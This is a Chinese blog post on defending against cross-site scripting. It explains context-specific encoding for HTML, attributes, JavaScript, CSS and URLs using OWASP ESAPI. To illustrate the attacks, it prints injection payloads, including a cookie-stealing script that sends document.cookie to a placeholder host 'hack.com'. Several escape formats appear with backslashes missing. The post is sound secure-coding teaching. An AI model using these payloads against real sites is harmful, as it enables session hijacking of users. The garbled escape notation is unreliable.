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  • XSS跨站攻击（二）

    　　本人最近在学习XSS，想总结一下常见的XSS攻击的几种情况，刚好看到《防御 XSS 的七条原则》这篇文章，里面讲的七条防御原则不正是针对XSS的几种利用方式吗？于是，借来学习一下。　　

    　　原则1：“Secure By Default”不要在页面中插入任何不可信数据，除非这些数已经据根据下面几个原则进行了编码

    　　之所以有这样一条原则存在，是因为HTML里有太多的地方容易形成XSS漏洞，而且形成漏洞的原因又有差别，比如有些漏洞发生在HTML标签里，有些发生在HTML标签的属性里，还有的发生在页面的<Script>里，甚至有些还出现在CSS里，再加上不同的浏览器对页面的解析或多或少有些不同，使得有些漏洞只在特定浏览器里才会产生。如果想要通过XSS过滤器（XSS Filter）对不可信数据进行转义或替换，那么XSS过滤器的过滤规则将会变得异常复杂，难以维护而且会有被绕过的风险。

     1 直接插入到SCRIPT标签里
 2 <script>…不要在这里直接插入不可信数据…</script>
 3  
 4  插入到HTML注释里
 5 <!– …不要在这里直接插入不可信数据… –>
 6  
 7  插入到HTML标签的属性名里
 8 <div 不要在这里直接插入不可信数据=”…”></div>
 9  
10 插入到HTML标签的属性值里   
11 <div name=”…不要在这里直接插入不可信数据…”></div>
12  
13 作为HTML标签的名字 
14 <不要在这里直接插入不可信数据 href=”…”></a>
15  
16 直接插入到CSS里 
17 <style>…不要在这里直接插入不可信数据…</style>

    　　原则2：在将不可信数据插入到HTML标签之间时，对这些数据进行HTML Entity编码

    　　在这里相当强调是往HTML标签之间插入不可信数据，以区别于往HTML标签属性部分插入不可信数据，因为这两者需要进行不同类型的编码。当你确实需要往HTML标签之间插入不可信数据的时候，首先要做的就是对不可信数据进行HTML Entity编码。比如，我们经常需要往DIV，P，TD这些标签里放入一些用户提交的数据，这些数据是不可信的，需要对它们进行HTML Entity编码。很多Web框架都提供了HTML Entity编码的函数，我们只需要调用这些函数就好，而有些Web框架似乎更“智能”，比如Rails，它能在默认情况下对所有插入到HTML页面的数据进行HTML Entity编码，尽管不能完全防御XSS，但着实减轻了开发人员的负担。

    <body>…插入不可信数据前，对其进行HTML Entity编码…</body>
 
<div>…插入不可信数据前，对其进行HTML Entity编码…</div>
 
<p>…插入不可信数据前，对其进行HTML Entity编码…</p>
 
以此类推，往其他HTML标签之间插入不可信数据前，对其进行HTML Entity编码

    　　[编码规则]

    　　HTML Entity需要对下面这6个特殊字符进行编码：

    　　&     –>     &amp;

　　<     –>     &lt;

　　>     –>     &gt;

　　”     –>     &quot;

　　‘     –>     &#x27;

　　/     –>     &#x2f;

    　　有两点需要特别说明的是:

    • 不推荐将单引号( ‘ )编码为 &apos; 因为它并不是标准的HTML标签
    • 需要对斜杠号( / )编码，因为在进行XSS攻击时，斜杠号对于关闭当前HTML标签非常有用

    　　推荐使用OWASP提供的ESAPI函数库，它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里，你可以使用:

    String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));

    　　原则3：在将不可信数据插入到HTML属性里时，对这些数据进行HTML属性编码

    　　这条原则是指，当你要往HTML属性（例如width、name、value属性）的值部分(data value)插入不可信数据的时候，应该对数据进行HTML属性编码。不过需要注意的是，当要往HTML标签的事件处理属性（例如onmouseover）里插入数据的时候，本条原则不适用，应该用下面介绍的原则4对其进行JavaScript编码。

    <div attr=…插入不可信数据前，进行HTML属性编码…></div> 
属性值部分没有使用引号，不推荐
 
<div attr=’…插入不可信数据前，进行HTML属性编码…’></div> 
属性值部分使用了单引号 
 
<div attr=”…插入不可信数据前，进行HTML属性编码…”></div> 
属性值部分使用了双引号

    　　[编码规则]

    　　除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 &#xHH; （以&#x开头，HH则是指该字符对应的十六进制数字，分号作为结束符）

    　　之所以编码规则如此严格，是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话，攻击者很容易就能闭合掉当前属性，随后即可插入攻击脚本。例如，如果属性没有使用引号，又没有对数据进行严格编码，那么一个空格符就可以闭合掉当前属性。请看下面这个攻击：　　

     1 假设HTML代码是这样的：
 2 
 3 　　<div width=$INPUT> …content… </div>
 4 
 5 　　攻击者可以构造这样的输入：
 6 
 7 　　x onmouseover=”javascript:alert(/xss/)”
 8 
 9 　　最后，在用户的浏览器里的最终HTML代码会变成这个样子：
10 
11 　　<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>

    　　只要用户的鼠标移动到这个DIV上，就会触发攻击者写好的攻击脚本。在这个例子里，脚本仅仅弹出一个警告框，除了恶作剧一下也没有太多的危害，但是在真实的攻击中，攻击者会使用更加具有破坏力的脚本，例如下面这个窃取用户cookie的XSS攻击：

    　　x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div

    　　除了空格符可以闭合当前属性外，这些符号也可以：

    　　%     *     +     ,     –     /     ;     <     =     >     ^     |     `(反单引号，IE会认为它是单引号)

    　　可以使用ESAPI提供的函数进行HTML属性编码：

    String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));

    　　原则4：在将不可信数据插入到SCRIPT里时，对这些数据进行SCRIPT编码

    　　这条原则主要针对动态生成的JavaScript代码，包括脚本部分以及HTML标签的事件处理属性（Event Handler，如onmouseover, onload等）。在往JavaScript代码里插入数据的时候，只有一种情况是安全的，那就是对不可信数据进行JavaScript编码，并且只把这些数据放到使用引号包围起来的值部分（data value）之中，例如：

    　　<script>

　　　　var message = “<%= encodeJavaScript(@INPUT) %>”;

　　</script>

    　　除此之外，往JavaScript代码里其他任何地方插入不可信数据都是相当危险的，攻击者可以很容易地插入攻击代码。

    <script>alert(‘…插入不可信数据前，进行JavaScript编码…’)</script> 
值部分使用了单引号
 
<script>x = “…插入不可信数据前，进行JavaScript编码…”</script> 
值部分使用了双引号
 
<div onmouseover=”x=’…插入不可信数据前，进行JavaScript编码…’ “</div>
 值部分使用了引号，且事件处理属性的值部分也使用了引号

    　　特别需要注意的是，在XSS防御中，有些JavaScript函数是极度危险的，就算对不可信数据进行JavaScript编码，也依然会产生XSS漏洞，例如：

    　　<script>
　　　　window.setInterval(‘…就算对不可信数据进行了JavaScript编码，这里依然会有XSS漏洞…’);
　　</script>

    　　[编码规则]

    　　除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 xHH （以 x 开头，HH则是指该字符对应的十六进制数字）

    　　在对不可信数据做编码的时候，千万不能图方便使用反斜杠（）对特殊字符进行简单转义，比如将双引号 ” 转义成 ” ，这样做是不可靠的，因为浏览器在对页面做解析的时候，会先进行HTML解析，然后才是JavaScript解析，所以双引号很可能会被当做HTML字符进行HTML解析，这时双引号就可以突破代码的值部分，使得攻击者可以继续进行XSS攻击。例如：

    　　假设代码片段如下：

　　<script>

　　var message = ” $VAR “;

　　</script>

　　攻击者输入的内容为：

　　”; alert(‘xss’);//

 　　如果只是对双引号进行简单转义，将其替换成 ” 的话，攻击者输入的内容在最终的页面上会变成：

　　<script>

　　var message = ” \”; alert(‘xss’);// “;

　　</script>

    　　浏览器在解析的时候，会认为反斜杠后面的那个双引号和第一个双引号相匹配，继而认为后续的alert(‘xss’)是正常的JavaScript脚本，因此允许执行。

    　　可以使用ESAPI提供的函数进行JavaScript编码：

    String encodedContent = ESAPI.encoder().encodeForJavaScript(request.getParameter(“input”));

    　　原则5：在将不可信数据插入到Style属性里时，对这些数据进行CSS编码

    　　当需要往Stylesheet，Style标签或者Style属性里插入不可信数据的时候，需要对这些数据进行CSS编码。传统印象里CSS不过是负责页面样式的，但是实际上它比我们想象的要强大许多，而且还可以用来进行各种攻击。因此，不要对CSS里存放不可信数据掉以轻心，应该只允许把不可信数据放入到CSS属性的值部分，并进行适当的编码。除此以外，最好不要把不可信数据放到一些复杂属性里，比如url, behavior等，只能被IE认识的Expression属性允许执行JavaScript脚本，因此也不推荐把不可信数据放到这里。

    <style>selector { property : …插入不可信数据前，进行CSS编码…} </style>
 
<style>selector { property : ” …插入不可信数据前，进行CSS编码… “} </style> 
 
<span style=” property : …插入不可信数据前，进行CSS编码… ”> … </span>

    　　[编码规则]

    　　除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 HH （以 开头，HH则是指该字符对应的十六进制数字）

    　　同原则2，原则3，在对不可信数据进行编码的时候，切忌投机取巧对双引号等特殊字符进行简单转义，攻击者可以想办法绕开这类限制。

    　　可以使用ESAPI提供的函数进行CSS编码：

    String encodedContent = ESAPI.encoder().encodeForCSS(request.getParameter(“input”));

    　　原则6：在将不可信数据插入到HTML URL里时，对这些数据进行URL编码

    　　当需要往HTML页面中的URL里插入不可信数据的时候，需要对其进行URL编码，如下：

    <a href=”http://www.abcd.com?param=…插入不可信数据前，进行URL编码…”> Link Content </a>

    　　[编码规则]

    　　除了阿拉伯数字和字母，对其他所有的字符进行编码，只要该字符的ASCII码小于256。编码后输出的格式为 %HH （以 % 开头，HH则是指该字符对应的十六进制数字）

    　在对URL进行编码的时候，有两点是需要特别注意的：

    　　1) URL属性应该使用引号将值部分包围起来，否则攻击者可以很容易突破当前属性区域，插入后续攻击代码

    　　2) 不要对整个URL进行编码，因为不可信数据可能会被插入到href, src或者其他以URL为基础的属性里，这时需要对数据的起始部分的协议字段进行验证，否则攻击者可以改变URL的协议，例如从HTTP协议改为DATA伪协议，或者javascript伪协议。

    　　可以使用ESAPI提供的函数进行URL编码：

    String encodedContent = ESAPI.encoder().encodeForURL(request.getParameter(“input”));

    　　ESAPI还提供了一些用于检测不可信数据的函数，在这里我们可以使用其来检测不可信数据是否真的是一个URL：

    String userProvidedURL = request.getParameter(“userProvidedURL”);boolean isValidURL = ESAPI.validator().isValidInput(“URLContext”, userProvidedURL, “URL”, 255, false);if (isValidURL) {
 
<a href=”<%= encoder.encodeForHTMLAttribute(userProvidedURL) %>”></a>
 
}

    　　原则7：使用富文本时，使用XSS规则引擎进行编码过滤

    　　Web应用一般都会提供用户输入富文本信息的功能，比如BBS发帖，写博客文章等，用户提交的富文本信息里往往包含了HTML标签，甚至是JavaScript脚本，如果不对其进行适当的编码过滤的话，则会形成XSS漏洞。但我们又不能因为害怕产生XSS漏洞，所以就不允许用户输入富文本，这样对用户体验伤害很大。

    　　针对富文本的特殊性，我们可以使用XSS规则引擎对用户输入进行编码过滤，只允许用户输入安全的HTML标签，如<b>, <i>, <p>等，对其他数据进行HTML编码。需要注意的是，经过规则引擎编码过滤后的内容只能放在<div>, <p>等安全的HTML标签里，不要放到HTML标签的属性值里，更不要放到HTML事件处理属性里，或者放到<SCRIPT>标签里。

    　　推荐XSS规则过滤引擎：OWASP AntiSamp或者Java HTML Sanitizer

    　　附：各种编码对比表

    不可信数据将被放置的地方 例子 应该采取的编码 编码格式
    HTML标签之间 <div> 不可信数据 </div> HTML Entity编码

    &     –>     &amp;

    <     –>     &lt;

    >     –>     &gt;

    ”     –>     &quot;

    ‘     –>     &#x27;

    /     –>     &#x2f;
    HTML标签的属性里 <input type=”text”value=” 不可信数据 ” /> HTML Attribute编码 &#xHH;
    JavaScript标签里 <script> var msg = ” 不可信数据 ” </script> JavaScript编码 xHH
    HTML页面的URL里 <a href=”/page?p= 不可信数据 ” >…</a> URL编码 %HH
    CSS里 <div style=” 不可信数据 ” > … </div> CSS编码 HH
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